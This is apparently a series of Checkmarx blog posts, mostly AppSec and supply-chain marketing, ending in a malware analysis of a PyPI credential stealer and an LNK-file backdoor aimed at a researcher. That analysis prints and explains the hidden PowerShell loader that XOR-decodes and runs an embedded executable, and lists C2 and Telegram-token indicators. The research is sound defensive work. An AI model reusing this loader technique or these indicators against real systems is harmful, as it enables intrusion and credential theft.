Cloud-native applications have gained popularity over traditional monolithic applications in recent years due to their scalability, flexibility, and efficiency. In contrast to monolithic applications, cloud-native applications use microservices architecture and containers and are specifically designed to be modular, lightweight, and highly adaptable. Cloud-native applications enable organizations to adapt seamlessly to evolving business needs, facilitating faster time-to-market.

While this offers unparalleled opportunities for business growth and innovation, it also poses a major security challenge. The dynamic nature of the cloud-native paradigm widens the attack surface, leaving organizations vulnerable. Traditional application security tools can’t properly secure the borderless landscape of cloud-native architecture. 

So, what is the most effective way to secure cloud-native development?

Shift From Monolithic to Cloud-Native 

Originally considered the technological cornerstone for enterprises, monolithic applications feature tightly integrated components that operate on dedicated servers, with their entire codebase residing in one place. Since monolithic applications are so contained, their attack surface is much smaller and straightforward to secure.

While initially fostering business success, the technological inflexibility and complicated scalability of monolithic applications began stifling business development and growth. Each feature change or update required extensive architectural overhauls, demanding coordination across all teams. A single point of failure could lead to a system-wide crash.

Organizations became increasingly frustrated with these limitations, and the need for a better alternative became evident. 

Enter cloud-native applications.

Cloud-Native Applications

Triggered by these shortcomings, organizations began shifting to cloud-native environments. 

When we talk about “cloud-native” we are referring to applications, or services, that run on cloud environments from the ground up. These applications take full advantage of cloud computing frameworks.

The shift to cloud-native development revolutionized how applications are created. These new capabilities help facilitate more agile software that could adapt to shifting demands, enabling faster innovation, smoother deployments, and better communication.

However, this model has its drawbacks, including shared responsibility model, openness of default settings, lack of visibility, and availability over security focused.

The dynamic nature of cloud-native environments demands a more comprehensive security solution. 

Protecting Cloud-Native Applications

The traditional security methods simply cannot keep up with the dynamic nature of cloud-native development, leading to gaping holes in their application protection. 

The flexibility of cloud-native development fosters innovation but can make it difficult for traditional AppSec solutions to provide a comprehensive view of vulnerabilities. As a result, organizations are faced with either prioritizing infrastructure security or maintaining a balanced security approach, potentially leaving vulnerabilities unaddressed. In addition, there is very little communication between AppSec and developers, leading to solution silos.

Protecting cloud-native applications demands a holistic security approach that fosters communication between all stakeholders to ensure that every part of the software development lifecycle (SDLC) is protected, from code to cloud. 

How can this be achieved?

What About The “Shift Left” Approach?

Let’s first take a step back.

To combat the speed and agility of cloud-native development, many initially called for “shifting left” in application security. This approach emphasized integrating security testing earlier in the development cycle, literally moving security testing from the right (deployment) to the left (development) of the SDLC. The idea here was to proactively catch vulnerabilities and misconfigurations at the beginning of the development process to prevent them from persisting into later stages. 

This aimed to shorten feedback loops and foster a proactive security mindset. 

And it helped – in the beginning. While effective in catching issues earlier in the pipeline, the overemphasis on early-stage protection may have given a false sense of security leaving crucial applications vulnerable. 

This gap highlighted the need for a balanced and holistic AppSec approach: code to cloud.

Code to Cloud Protection

Shifting left isn’t enough anymore. Prioritizing security measures at every phase of the SLDC – and not just the beginning – has become crucial. According to Aqua Nautilus research, in the past year alone there was a 300% surge in attacks targeting the code, infrastructure, and development tools. This emphasizes the need for balanced and comprehensive security measures across the SDLC. To protect from code to cloud, instead of just shifting.

What Does “Securing From Code” to Cloud Actually Mean?

Securing applications from code to cloud means applying security controls in every stage of the SLDC, including during: 

• Training: Initiate security with developer education on secure coding best practices. 
• Coding: Adopt tools like Static Application Security Testing (SAST) and API security during code creation to help pinpoint potential risks within the codebase before deployment.  
• Building: Utilize testing tools such as Continuous Integration (CI), Software Composition Analysis (SCA), and Software Supply Chain Security (SSCS) for seamless development workflows, third-party vulnerability detection, and visibility into the application components.
• Testing: Use Dynamic Application Security Testing (DAST) to simulate real-world cyber threats, ensuring a comprehensive security assessment. 
• Deploying: Implement Infrastructure as Code (IaC) security to narrow down potential attack points and ensure a safe application rollout. 
• Go-live: Implement real-time monitoring and dynamic threat detection during the runtime phase. 

Only a comprehensive code to cloud AppSec approach can secure the entire SDLC, create a resilient business environment, and reduce costs in the face of evolving cyber threats.

Checkmarx’ Code to Cloud Approach

So, does such a comprehensive code to cloud solution exist? It does!

Checkmarx takes a unique approach to securing applications from code to cloud. While most solutions approach cloud security from an infrastructure, network, or workload perspective and then shift left, Checkmarx starts securing from the very first line of code. Our industry leading Checkmarx One platform offers a full breadth of security capabilities to protect every stage of the SDLC, correlate security findings, and prioritize remediations so you can make the biggest impact on reducing risk.

Here are some of the Checkmarx One benefits: 

Unified AppSec platform 

Correlates all security data to prioritize remediation and identify risk across your entire footprint – including cloud-native and traditional non-cloud applications. 

Comprehensive AppSec capabilities 

Provides the full suite of capabilities required to secure cloud-native applications all on a unified, consolidated application security platform. 

Seamless integration across the SDLC  

Offers the broadest set of SDLC integrations, including IDEs, SCM tools, CI/CD tools, and feedback tools. This enables automatic security scans as applications progress from code to build to deploy in the cloud.

Visibility from code to cloud 

Correlates security data across every stage in the SDLC – including runtime insights – to provide true visibility into the vulnerability lifecycle from code to cloud.

If you’re interested in how Checkmarx One can secure your organization from code to cloud, feel free to schedule a personal demo here.

Conclusion:

The evolution from monolithic to cloud-native applications presents opportunities and challenges. While cloud-native applications offer more scalability and flexibility, they also bring new security complexities. The need for a comprehensive AppSec solution that protects from code to cloud is imperative, especially considering the gaps in the shift left security.

Checkmarx One was created to protect your applications from code to cloud, so that they are secured throughout the entire SDLC. 

Don’t leave even one line of code exposed – make sure your applications are secured from code to cloud today!

It is no longer possible to protect code solely with perimeter security and firewalls. Attack surfaces have grown and the once protected is now vulnerable. Open source has proved an invaluable resource to developers but can also be a backdoor for hackers. Enterprises are now releasing new versions of their code two or three times a day, making stringent security even more difficult. 

The constantly changing nature of development means organizations ranging from hospitals to the world’s largest tech providers are under threat. We need to rebuild our virtual city walls to keep pace with the modern threat landscape. 

Expanded armories 

Oak shields have been replaced by SAST scans in this new world of security. The armory of enterprises has expanded rapidly with a myriad set of tools available to tackle vulnerabilities. However, this has led to the issue of how best to manage all these tools. And how to consolidate the data and results of each to provide complete visibility across the SDLC. 

Each of these tools will produce alerts. Already overworked devs need to prioritize and focus on the ones that really matter. It’s no wonder so many vulnerabilities are ignored when bug reports are flying in from all sides. 

From code to cloud 

The rapid pace of innovation has resulted in the concept of “code to cloud” security. This centers around the proactive philosophy that security needs to be integrated from the very beginning of the software development lifecycle (SDLC), all the way to deployment and runtime.  

The drawbridge has been replaced by dev experience. This means a culture of secure coding practices, static code analysis, and threat modeling to help identify and address vulnerabilities early on and at every stage of the SDLC. From the start it is crucial to guide developers with actionable remediation guidance. As the code progresses through the SDLC), cloud adoption introduces complexities, especially in deployment and the integration with continuous integration/continuous deployment (CI/CD).  

A successful code to cloud program requires buy-in and integration with developers, AppSec, and leadership teams. That means:   

• Continuous security monitoring in the cloud to detect and respond to threats in real-time. 
• The need for incident response planning and procedures to effectively mitigate security breaches. 
• Understanding the challenges of managing diverse security tools. 

Environmental awareness 

Castle building has been replaced by coding. Another factor that needs to be considered in secure development is the move towards Infrastructure as Code (IaC) – the process of provisioning and configuring an environment through code instead of devices and systems.    

IaC is both a security opportunity and potential liability. Templates can enforce security best practices and ensure consistent security across cloud environments. But they can also introduce vulnerabilities. Errors in Code or misconfigurations of cloud resources may leave you open to serious compliance and security risks.   

Protect your enterprise   

It’s fair to say that your code will be a target for malicious actors for the foreseeable future. The invaders will continue to find new ways to breach the walls. You and your enterprise can’t afford to stand still.  

Emerging technologies such as artificial intelligence (AI) and machine learning (ML) will play a role in automating security tasks and improving threat detection. It’s also crucial to stay informed about new security threats and vulnerabilities and adopt a proactive approach to cloud security.    

Don’t let innovation overtake your security. Embrace a security culture centered on code to cloud with the help of Checkmarx.    

Secure your apps from code to cloud 

• North Korea used public open-source and private package poisoning via the GitHub platform to infiltrate organizations and compromise their software supply chains (report)

• Attackers published malicious packages to PyPl, using various tactics, including combining obfuscation with encryption/decryption methods to hide their malicious intent, employing fileless malware to avoid detection, and leveraging the reputation of an extremely popular project (report)

• The Ledger Connect Kit suffered a significant supply chain attack resulting in the theft of over $700,000 from users’ wallets. The attack was facilitated by the takeover of a former Ledger employee’s npmjs account, which led to the release of compromised versions. This incident highlights the limitations of relying solely on Software Bill of Materials (SBOMs) to detect such attacks. (report)

We all hoped the start of a new year would bring new tidings. Unfortunately, NPM user account gdi2290, aka PatrickJS, published a troll campaign to the NPM registry by uploading a package named “everything,” which relies on every other public NPM package, resulting in millions of transitive dependencies. (report).

Jerry Gamblin, vulnerability researcher at Cisco, recently pointed out on LinkedIn that for the first time ever we have hit over 30,000 CVE’s published in a single year.

These developments, among the many others that preceded, emphasize the limited capacity of traditional security measures and the need for complementing them with advanced and dynamic approaches.

4 lessons learned in 2023

1. Attackers are ingeniously stitching together diverse tactics.​
2. Deceptive maneuvers, exemplified by social engineering and bogus contributions, have become a staple in attackers’ arsenals.​
3. Abandoned digital assets are not relics ​of the past; they are ticking time bombs.​
4. The threat landscape’s relentless evolution emphasizes the importance of predictive threat hunting.​

NSA’s recommended practices for securing the software supply chain

December was also a month for renewed guidance from the US Government. The National Security Agency (NSA), Office of the Director of National Intelligence (ODNI), the Cybersecurity and Infrastructure Security Agency (CISA), and industry partners have released a cybersecurity technical report (CTR), “Securing the Software Supply Chain: Recommended Practices for Managing Open Source Software and Software Bill of Materials,” which builds on the “Enhancing the Security of the Software Supply Chain through Secure Software Development Practices” paper released by the Office of Management and Budget (OMB).  

Even with this in-depth guidance, most customers we talk to are under the assumption that having a well-defined SBOM (Software Bill of Materials) is the only tangible approach to a software supply chain security strategy.

Checkmarx’ end-to-end software supply chain security to facilitate SLSA attestation

Our vision is to bring together the idea of understanding what goes through the process, such as dependencies and software artifacts, with the development environment itself, all under the Supply-chain Levels for Software Artifacts (SLSA) framework. This first-to-market approach creates true visibility beyond what an SBOM can offer and helps get closer to providing attestation for SLSA compliance. 

Preventing secrets from leaking on external tools with Secrets Detection

Secrets, such as passwords, API keys, cryptographic keys, and other confidential data, are a frequent target of a distributed supply-chain attack.  

Threat actors are mining for secrets by scrapping public documentation, public repositories, and compromised private software repositories, and compromised build systems.

Each hard coded secret is now a new attack vector.

Secret Detection will help you remove hard coded passwords from your software supply chain by checking developer communication, shared tools, and components used across the supply chain.

Secrets Detection integrates and expands deeper scanning capabilities of 2MS, one of the most popular open-source tools for secret detection with over 2 million downloads, directly into Checkmarx One. 

Expanded capabilities include:

• Support for Confluence, Slack and Discord
• The ability to customizable rules and policies

Creating a streamlined level of accountability with automated SBOM

SBOMs can be generated automatically directly from the UI, in SPDX and CycloneDX formats. This saves you time and a headache, and ensures you have an up-to-date inventory of third-party packages being used within your software supply chain. 

Since Checkmarx maintains a historical record of all scans performed, we can retrieve a point-in-time SBOM from previous scans or code checking events. This eliminates the need for us to build maintain and back up a catalog of SBOM files in a file share, saving time and effort while ensuring you can be compliant with historical SBOM requests. 

Checkmarx supports a wide array of languages and package managers so there’s no need to implement maintain or update multiple SBOM solutions on a per project, or per language, level. 

Tackling the most vulnerable internal projects first with Security Scorecard Engine

Checkmarx Scorecard enables organizations to check their own projects quickly and see the most vulnerable or at-risk projects, allowing enterprises to prioritize which to tackle first.

Scorecard leverages the format from a popular tool, the OSSF Scorecard, which assesses open-source projects for security risks through a series of automated checks. 

These checks cover various parts of the software supply chain including source code, build, and dependencies, and assigns each check a score of 1-10. An auto-generated “security score” helps users as they decide the trust, risk, and security posture for their specific application. 

With Scorecard, users can auto-generate a security score for their own projects based on a series of checks, including: 

• Binary Artifacts – Is the project free of checked-in binaries? 
• Branch Protection – Does the project use branch protection? 
• CI (Continuous Integration) Tests – Does the project run tests in CI, e.g., GitHub Actions, Prow? 
• Code review – Does the project practice code review before code is merged? 
• Dangerous workflow – Does the project avoid dangerous coding patterns? 
• Vulnerabilities – Does the project have unfixed vulnerabilities? 

Integrating new tools is a frictionless, one-click integration. Once you select a new tool, it gets scanned, and the results are displayed in a dedicated view within Checkmarx One.

Gaining threat intelligence and eliminating manual analysis with Malware Detection

In the SLSA framework, malicious packages are a form of dependency attack where attackers inject or contribute malicious code into open-source projects that your developers download and then build into your applications. Once downloaded, the attacker’s malicious code is running within your applications, with whatever unknown intent the package carries. 

Our research team has inspected over 8 million open-source packages for all kinds of threats, finding 200,000+ malicious packages. We make that threat intelligence available to you, either in the UI, directly in developers’ IDE, or through an API-based threat intelligence feed.

Securing containerized applications throughout the supply chain

Securing your containers is a key part in preventing third parties from exploiting vulnerabilities that can lead to the impairment of your infrastructure, data leaks, and other types of attack. 87% of container images in production have critical or high-severity vulnerabilities. 

The Checkmarx Container Security Solution simplifies image scanning, monitors Docker environments, and helps swiftly resolve vulnerabilities. Identify, prioritize, and address security flaws across the SDLC to preempt issues in production workloads.

• Container Image Scanning – Scan static container images to identify vulnerable code in open-source software and remediate issues before they are deployed.

• Runtime Insights Correlation – Correlate pre-production and runtime data to identify exploitable vulnerabilities in running container images, reduce noise by up to 95%, and prioritize remediation efforts.

Software supply chain security is a journey, and it is important to take steps to secure your software supply chain today; detecting supply chain attacks in code packages, securing your developer’s evolving workstations supports rapid development while reducing risk. 

The Forrester’ 2023 State of Application Security Report states that integrating AppSec across the entire SDLC will be necessary in order to protect your organization today and in the future. Security is no longer an issue to be considered in silos or at the end of the SDLC. What’s required is an AppSec Maturity Model that can help organizations develop a strong AppSec program that can secure their applications from the first line of code to deploy and runtime in the cloud.

Let’s talk about planning for this model and choosing the right approach to deal with a changing and ever more threatening security landscape.

Clarity Amongst Acronyms

Which framework should you choose to create and improve your AppSec program? Not only are the threats changing all the time, but technical jargon and acronyms can make it even more difficult to understand what certain security models do. 

Before we go any further, here’s a quick look at two key models you should know. 

OWASP SAMM (Software Assurance Maturity Model)

OWASP is the Open Worldwide Application Security Project. This is a nonprofit foundation that works to improve the security of software through:

• Community-led open source software projects.
• Over 250 local chapters around the world.
• Tens of thousands of members.
• A leading educational and training conference.

OWASP SAMM aims to provide an effective and measurable way to analyze a development lifecycle and make it more secure. The model can be applied across the complete SDLC and is also designed to grow with the enterprise. It can be tailored to specific organizations and the risks they face. This is achieved by:

• Evaluating current software security practices.
• Building a balanced software security assurance program in well-defined iterations.
• Demonstrating tangible improvements.
• Offering the ability to define and measure security-related activities throughout an organization.

BSIMM (Building Security In Maturity Model)

This was one of the first ever AppSec maturity models, created15 years ago. The assessment helps you to compare your software security program with over 100 organizations across different industry verticals. The result is an objective, data-driven analysis that gives AppSec managers direction on decisions about resources and priorities. 

A Fresh Approach to AppSec Maturity Models

Are these existing AppSec maturity models still relevant in 2023? 

A common issue is they often provide too much information, making it difficult to know where to start. Another issue is stakeholder management – many models focus on the needs of developers or CISOs, but rarely AppSec managers and developers. The result is a lack of buy-in across your organization.

These models put a heavy emphasis on agility and the ability to adapt. Whilst there is talk about living in a post-agile world, the dynamic nature of AppSec threats means there is still a great need to adapt rapidly and implement fast feedback cycles. However, a purer version of agile thinking is unsuitable for AppSec. The environment changes too quickly, meaning time spent carefully crafting multi-phase plans can easily feel wasted. 

A Better Way – Application Program Methodology Assessment Framework

At Checkmarx, we developed our own methodology to take AppSec frameworks and methodologies to the next level. The result is the AppSec Program Methodology and Assessment (APMA) Framework.

Experience tells us that the most efficient way to approach your AppSec maturity model is to decide on a target state – and then plan how to get there step-by-step. Decide what actions you need to take to go from your current situation to the desired one. Then work in short iterations with a few actions (sprints) to close the gap. The result is a clearer sense of program progress as the desired state slowly comes within reach.

Security offerings should be straightforward. APMA helps organizations better understand the capabilities they need to improve their AppSec posture and protect their business.

There are five dimensions to our framework that can provide efficiency and effectiveness to any AppSec program and bring all stakeholders together:

• Strategy and Governance – focusing on high level goals and objectives, policies and KPIs, usually the CISO’s responsibility. 
• Security Testing (Tactical) – looking at the processes of an AppSec program, often the responsibility of the head of AppSec. 
• Security Testing (Operational) – examining the tools required and how to use them, usually the responsibility of the head of application development in conjunction with AppSec management. 
• Security Testing (Architecture and Scale) – the infrastructure required to perform security testing, mainly the responsibility of the IT/infrastructure manager. 
• Planning – breaking everything down into work packages, a timeline and resources, mainly the responsibility of project manager, program manager and delivery manager.

Whatever model you end up choosing, you should ensure that it is best tailored to your organizational needs, so that employees, suppliers, and customers are secure for the foreseeable future.

APMA can offer you the support you need on your journey to achieve your AppSec goals and, importantly, sustain that security. If you’re interested in how APMA can help mature your enterprise AppSec program, then learn more here.

Get started with APMA by taking the free digital assessment. In just a few minutes, you can obtain actionable recommendations to get started on their AppSec journey. Larger enterprises can contact us for the full assessment.  

Introduction

Targeting the open-source space in the software industry is trending among threat actors, not only because it represents one of the largest attack surfaces, but because it often escapes the vigilant eyes of organizations.

Open-source package managers are especially enticing to Advanced Persistent Threats (APTs) and other malicious entities who often poison them with malicious packages and implement strategies ranging from manipulating build automation processes to skillfully deceiving developers into installing these compromised packages. 

The ramifications of such breaches are far-reaching and can have devastating consequences for any organization, regardless of its size. Therefore, it is essential to thoroughly vet every component or dependency in the supply chain

Our research team recognizes the seriousness of these threats. To safeguard the open-source software ecosystem, we monitor popular public repositories like NPM and PyPi, just to name a few, to identify and eliminate any rogue packages or dependencies at the earliest stage.

This story, however, takes an unexpected twist. when one of our researchers, while analyzing a malicious Python package named “testfiwldsd21233s” from the PyPi repository, found themselves in the crosshairs of the very threat actor they were investigating. What unfolded was not just an analysis of a cybersecurity breach, but a gripping tale of how the hunter became the hunted.

But before we delve deep into the analysis of this incident, let’s take a step back to understand the background of the malicious package the researcher had been analyzing.

Behavioral Analysis of Malicious Packagea

In its entirety, the package is capable of targeting both Windows and Linux-based systems. If it detects that it is on a Windows NT host, it deploys a malicious executable. On the other hand, if it is on a Linux-based host, it leverages native Python code. In essence, it functioned as a data-stealing malware, systematically gathering sensitive information from web browsers, including but not limited to cookies and saved passwords, and saved this data into temporary files, which were then uploaded to transfer[.]sh. Finally, it would exfiltrate the host information along with a unique URL to download the stolen data from transfer[.]sh using a hardcoded Telegram bot API URL. Additionally, it would create a scheduled task on the system to maintain persistence.

Driven by curiosity, the researcher wanted to examine the exfiltrated data and analyze it. The objective was to assess the scope of the malware’s impact, identify and locate potential victims, and explore the possibility of tracing the threat actor behind it.

A Game of Cyber Cat & Mouse: The Researcher’s Countermove

By utilizing a technique that enables the forwarding of all exfiltrated data through the Telegram bot API to the researcher’s personal Telegram chat, the researcher effectively managed to redirect all the stolen data from the threat actor’s chat to their own chat.

Forwarding of  data from the threat actor’s Telegram chat to the researcher’s own chat

The data forwarded by the bot included various host information, geo-location, and the link to download an encrypted file with a “.wsr” extension, which includes all the stolen cookies and passwords. Unfortunately, the files could not be decrypted for further analysis, and this is where we stopped our investigation.

The Attacker Attempts To Strike Back

However, after approximately a month, the researcher received a new notification about a new stolen record in the chat from the same Telegram bot.

This raised suspicion because, unlike previous data, there was no “forwarded” tag attached to the new chat. And instead of an encrypted file with a “.wsr” extension, there was an unencrypted zip archive.

Suspicious message received in telegram chat

Upon downloading and decompressing the zip archive attached to the chat for further analysis, the following observations were made:

the unarchived data contained multiple files with the “.lnk” extension, which in all the cases except for one, were also preceded by a second extension in the filename, which was “.txt”.

The presence of these double extensions raised suspicion, particularly the “.lnk” extension, as LNK files are known to be shortcut files in the Windows OS that can potentially execute malicious code if clicked.

The list of files with the “.lnk” extension, preceded by the txt extension

Peeling Back Layers: Exposing a Backdoor Operation

Upon analyzing these shortcut files using the “exiftool” command on a Linux machine, we discovered several important details.

First, the “Icon File Name” property was set to the path “%windir%system32notepad.exe”, which caused the shortcut files to display the notepad icon. The use of the “.txt” extension in the filename now makes sense since MS Windows does not show the actual file extension in the explorer, and combined with the custom icon set for these subjected files, they appear like normal – benign text files.

The second thing we learned was that the “Command Line Arguments” property was set to the following powershell command:

Another thing to note is that all the shortcut files in the unarchived data except for the “Screen,jpg.lnk” had the exact same SHA-256 hash. they are, therefore, all the same malicious files. If any one of these files is opened, then the above malicious PowerShell command defined in the “Command Line Arguments” property will be executed.

Here is a breakdown of the PowerShell command and its execution:

• “/c powershell -windowstyle hidden”: The complete command will be executed in a hidden window and will not be visible to the victim.
  
• “$lnkpath = Get-ChildItem .lnk ^| where-object {$_.length -eq 0x00117926} ^| Select-Object -ExpandProperty Name;”: Searches for a shortcut file (.lnk) in the current directory with a file size of 0x00117926 (in hex), this will result in any of the malicious shortcut files except for “Screen,jpg.lnk”, as they satisfy the file size criteria.

• “$file = gc $lnkpath -Encoding Byte”: The content of the file matching the criteria is then read and saved in the form of a byte array in the variable – “$file”.

• “for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x33 };”: Iterating over each byte stored in the byte array – “$file”, a bitwise XOR operation with the value 0x33 on each byte of the byte array.

• “$path = ‘%temp%tmp’ + (Get-Random) + ‘.exe’;”: Creates a new executable file in the temporary directory with a random name and “.exe” as its extension by skipping the first “2838” bytes of the previously modified byte array.

• “sc $path ([byte []] ($file ^| select -Skip 002838)) -Encoding Byte;”: Writes the XOR-ed byte array after skipping the first “2838” bytes, to the new “.exe” file.

• ^& $path;”: Finally, runs the newly created executable.

We then used a simple Python script as shown in the photo below, to extract the malicious executable from the “LNK” file. Additionally, the “file” command confirms that the extracted file is a 64-bit PE file for MS Windows, written in .NET framework, with the SHA-256 hash of “4cf48c2a3933ac4c6733533bf16d40fa4e411fbbf42b03d84d6c8df62e253ad0”.

When it comes to the malicious executable, one option is to statically analyze it by decompiling it using a .NET Decompiler like ILSpy or dnSpy. However, in this particular case, we opted for dynamic analysis as it proved to be more efficient. Through this analysis, we made the following observations:

This malicious executable has been identified as a backdoor created using the Metasploit framework. It communicates with a handler at the IP address “128[.]199[.]113[.]162”. The complete URL that the backdoor uses, accepting both GET and POST requests, is “hxxp[://]128[.]199[.]113[.]162/upwawsfrg[.]php”. This endpoint can be used for exfiltrating data as well as fetching other payloads for post-exploitation purposes.

Furthermore, the processes invoked by the executable indicate that it also utilizes the Windows task scheduler to create a scheduled task on the compromised host. This task executes the executable itself every 5 minutes, serving as a persistence mechanism that allows the threat actor to maintain consistent remote access even after reboots.

Conclusion

From the above incident, it is clear that it was a carefully crafted attack, tailored with meticulous attention to detail. The threat actor behind this attack demonstrated a clear understanding of the context and situation. The use of fake Exil data was an impressive tactic, as it could have deceived the researcher into making a misstep resulting in a complete compromise.

In light of this, individuals working in the cybersecurity industry need to be more vigilant. Attacks are becoming increasingly sophisticated day by day, and they are not limited to the average internet surfer.

As part of the Checkmarx Supply Chain Security solution, our research team continuously monitors suspicious activities in the open-source software ecosystem. We track and flag “signals” that may indicate foul play and promptly alert our customers to help protect them.

IOC

• hxxps[://]api[.]telegram[.]org/bot6021370805:AAFbCSlFairNgnxSj8mC6Wtf7PW5yGyWmcE
• 128[.]199[.]113[.]162
• hxxp[://]128[.]199[.]113[.]162/upwawsfrg[.]php
• SHA-256 hash of LNK files – 273a75ba90251e317ed6291e6d4e31f80ce006e81bdc6582a4988078dc5610ef
• SHA256 hash of malicious executable – “4cf48c2a3933ac4c6733533bf16d40fa4e411fbbf42b03d84d6c8df62e253ad0”